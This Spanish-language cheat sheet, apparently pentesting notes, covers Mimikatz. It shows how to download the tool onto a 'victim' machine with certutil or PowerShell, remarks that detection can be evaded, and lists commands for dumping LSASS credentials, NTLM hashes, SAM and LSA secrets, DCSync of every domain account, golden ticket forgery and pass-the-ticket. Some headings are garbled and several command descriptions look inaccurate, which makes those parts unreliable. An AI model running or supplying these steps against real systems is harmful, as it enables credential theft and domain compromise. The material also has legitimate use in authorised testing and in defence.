Mimikatz
Windows Privilege Escalation
Mimikatz es una herramienta de código abierto para Windows utilizada en ciberseguridad que puede extraer credenciales de autenticación, como contraseñas, hashes, PIN y tickets de Kerberos, de la memoria de los sistemas. Fue creada en 2007 por el investigador de seguridad francés Benjamin Delpy para demostrar vulnerabilidades en los protocolos de autenticación de Microsoft.
mimikatz empezó como ejemplo para explotar una vulnerabilidad en windows encontrada por el creador Benjamin Delpy, esta vulnerabilidad que guardaba una copia encriptada de la password y una llave que podía usarse para descifrarla a la vez en la memoria. ahora utiliza varias técnicas y vulnerabilidades diferentes para extraer credenciales, entre otros.
que podemos explotar con mimikatz:
Pass-The-Hash
Pass-The-Ticket
Pass-The-Cache
Overpass-the-hash
Golden y Silver ticket attacks
etc.
Instalación de mimikatz
primer debemos saber que mimikatz tiene ciertos requisitos:
instalarlo en el equipo victima
tener privilegios administrativos
de igual manera, si el equipo cuenta con medidas de seguridad la detección será rápida pero podemos usar técnicas para evitar las mismas.
ya sabiendo esto, iniciemos la instalación
# instalar desde CMD
certutil -urlcache -split -f "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip" mimikatz.zip# instalar desde PowerShell
Invoke-WebRequest -Uri "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20220919/mimikatz_trunk.zip" -OutFile "mimikatz.zip"# descomprimir ZIP
# desde CMD
tar -xf mimikatz.zip -C mimikatz_folder
# desde PowerShell (verifica la descarga y extrae el contenido)
if (Test-Path "mimikatz.zip") {
Expand-Archive -Path "mimikatz.zip" -DestinationPath ".\mimikatz\" -Force
Write-Host "Archivo extraído en carpeta: mimikatz"
} else {
Write-Host "Error: Archivo no descargado"
}Uso de mimkatz
Ejecución de mimikatz
recordemos que requiere administrador.
cd mimikatz\x64
mimikatz.exeVerificar privilegios
al iniciar el programa lo primero que debemos hacer es verificar nuestros privilegios:
privilege::debugel output esperado es:
Privilege '20' OKsi de lo contrario vemos un error significa que necesitamos tener mas privilegios en la maquina victima.
Comandos y módulos
Mimikatz está organizado en módulos que permiten realizar diferentes acciones. Los modulos mas importantes son:
sekurlsa: Este módulo es el principal utilizado para extraer credenciales de LSASS.kerberos: Permite interactuar con el subsistema Kerberos de Windows, incluyendo la extracción e inyección de tickets.lsadump: Este módulo se utiliza para interactuar con la Base de Datos de la Autoridad de Seguridad Local (LSA), incluyendo la extracción de hashes NTLM.
en mimikatz los comandos se estructuran de una manera un tanto mas única:
modulo::comando <opcion>
modulo::subcomando /parametro:valorAutenticación y credenciales (sekurlsa)
sekurlsa)# Dumpear todas las credenciales por logon
sekurlsa::logonpasswords
# Dumpear hashes NTLM
sekurlsa::msv
# Dumpear Credenciales WDigest
sekurlsa::wdigest
# Listar Tickets Kerberos
sekurlsa::tickets
# Listar Credenciales SSP
sekurlsa::ssp
# Listar Credenciales CloudAP (Azure)
sekurlsa::cloudap
# Listar Credenciales LiveSSO (Navegador)
sekurlsa::livessp
# Extraer claves de cifrado
sekurlsa::keys
# Listar procesos con sesiones autenticadas
sekurlsa::process
# Dumpear LSA secrets
sekurlsa::lsaGestión de Tickets Kerberos (kerberos)
kerberos)# Listar tickets actuales
kerberos::list
# Listar tickets actuales en un formato detallado
kerberos::list /export
# Purgar tickets
kerberos::purge
# Crear golden ticket
kerberos::golden /admin:Administrator /domain:empresa.com /sid:S-1-5-21-... /krbtgt:hash /ticket:golden.kirbi
# Usar un ticket
kerberos::ptt golden.kirbiTrabajo con Certificados y claves (crypto)
crypto)# Listar proveedores criptograficos
crypto::listProviders
# Listar almacenes de certificados
crypto::certificates
# Exportar certificados
crypto::certificates /export
# Listar claves CNG
crypto::cng
# Listar claves CAPI
crypto::capiSecrets LSA (lsadump)
lsadump)# Dumpear secrets de LSA
lsadump::secrets
# Dumpear SAM (hashes locales)
lsadump::sam
# Dumpear cache de dominios
lsadump::cache
# Listar Backup keys
lsadump::backupkeys
# Informacion del dominio (Active directory)
lsadump::dcsync /domain:empresa.com /user:Administrator
# Todos los usuarios del dominio (Active directory)
lsadump::dcsync /domain:empresa.com /all
# Especifico para un usuario (Active directory)
lsadump::dcsync /domain:empresa.com /user:usuarioGestión de tokens de autenticacion
# Listar tokens
token::list
# Elevar privilegios
token::elevate
# Revertir a token original
token::revertGestión de procesos en memoria (process)
process)# Listar procesos
process::list
# Suspender proceso
process::suspend /pid:1234
# Reanudar proceso
process::resume /pid:1234
# cambiar el contexto de mimikatz a un proceso especifico, adaptar privilegios y acceder a la memoria del mismo
process::switch /pid:1234Trabajo con Windows Vault
# Listar credenciales del vault
vault::list
# Credenciales Wi-Fi
vault::cred /patch
# Listar vaults
vault::list /type:allMisceláneo (misc)
misc)# Comprobar estado de mimikatz
misc::status
# Comprobar si es una VM
misc::detectvm# abandonar la consola de mimikatz
exitLast updated